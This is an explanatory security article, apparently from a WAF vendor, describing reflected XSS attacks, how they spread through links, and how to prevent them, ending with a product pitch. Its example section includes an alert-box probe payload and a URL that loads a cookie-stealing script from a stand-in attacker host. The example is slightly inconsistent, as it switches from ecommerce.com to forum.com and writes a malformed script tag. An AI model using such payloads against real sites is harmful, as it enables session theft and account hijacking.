What is a XSS attack
Cross-site scripting (XSS) is a web application vulnerability that permits an attacker to inject code, (typically HTML or JavaScript), into the contents of an outside website. When a victim views an infected page on the website, the injected code executes in the victim’s browser. Consequently, the attacker has bypassed the browser’s same origin policy and is able to steal private information from a victim associated with the website.
What is a reflected XSS attack
Reflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the victim’s browser.
The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. The vulnerability is typically a result of incoming requests not being sufficiently sanitized, which allows for the manipulation of a web application’s functions and the activation of malicious scripts.
To distribute the malicious link, a perpetrator typically embeds it into an email or third party website (e.g., in a comment section or in social media). The link is embedded inside an anchor text that provokes the user to click on it, which initiates the XSS request to an exploited website, reflecting the attack back to the user.
Reflected XSS attack example
Unlike a stored attack, where the perpetrator must locate a website that allows for permanent injection of malicious scripts, reflected attacks only require that the malicious script be embedded into a link. That being said, in order for the attack to be successful, the user needs to click on the infected link.
As such, there are a number of key differences between reflected and stored XSS attacks, including:
- Reflected attacks are more common.
- Reflected attacks do not have the same reach as stored XSS attacks.
- Reflected attacks can be avoided by vigilant users.
With a reflected XSS, the perpetrator plays a “numbers game” by sending the malicious link to as many users as possible, thereby improving his odds of successfully executing the attack.
Reflected XSS attack example
While visiting a forum site that requires users to log in to their account, a perpetrator executes this search query <script type=’text/javascript’>alert(‘xss’);</script> causing the following things to occur:
- The query produces an alert box saying: “XSS”.
- The page displays: “<script type=’text/javascript’>alert(‘XSS’);</script > not found.”
- The page’s URL reads http://ecommerce.com?q=<script type=”text/javascript”>alert(‘XSS’); </script>.
This tells the perpetrator that the website is vulnerable. Next, he creates his own URL, which reads http://forum.com?q=news<\script%20src=”http://hackersite.com/authstealer.js” and embeds it as a link into a seemingly harmless email, which he sends to a group of forum users.
While the sending address and subject line may appear suspect to some, it does not mean that it won’t be clicked on.
In fact, even if only one in every 1,000 recipients of the email click on the link, that still amounts to several dozen infected forum users. They will be taken to the forum’s website, where the malicious script will be reflected back to their browser, enabling the perpetrator to steal their session cookies and hijack their forum accounts.
Reflected XSS attack prevention and mitigation
There are several effective methods for preventing and mitigating reflected XSS attacks.
First and foremost, from the user’s point-of-view, vigilance is the best way to avoid XSS scripting. Specifically, this means not clicking on suspicious links which may contain malicious code. Suspicious links include those found in:
- Emails from unknown senders
- A website’s comments section
- Social media feed of unknown users
Having said that, it is ultimately up to a website operator to prevent potential abuse to their users.
Additionally, web application firewalls (WAFs) also play an important role in mitigating reflected XSS attacks. With signature based security rules, supported by other heuristics, a WAF can compensate for the lack of input sanitization, and simply block abnormal requests. This includes, but is not limited to, requests that attempt to execute a reflected cross site scripting attack.
It should be noted that, unlike in a stored attack, where the perpetrator’s malicious requests to a website are blocked, in a reflected XSS attack, it’s the user’s requests that are blocked. This is done to protect the user, as well as to prevent collateral damage to all other website visitors.
The Imperva cloud web application firewall also uses signature filtering to counter reflected XSS. Additionally, the WAF employs crowdsourcing technology, which automatically collects and aggregates attack data from across the entire Imperva network, for the benefit of all users.
The crowdsourcing component of Imperva cloud security service ensures a quick response to zero-day threats and protects the entire user community against new threats. It also enables the use of advanced security heuristics, including those that monitor IP reputation, to keep track of repeated offenders and botnet devices
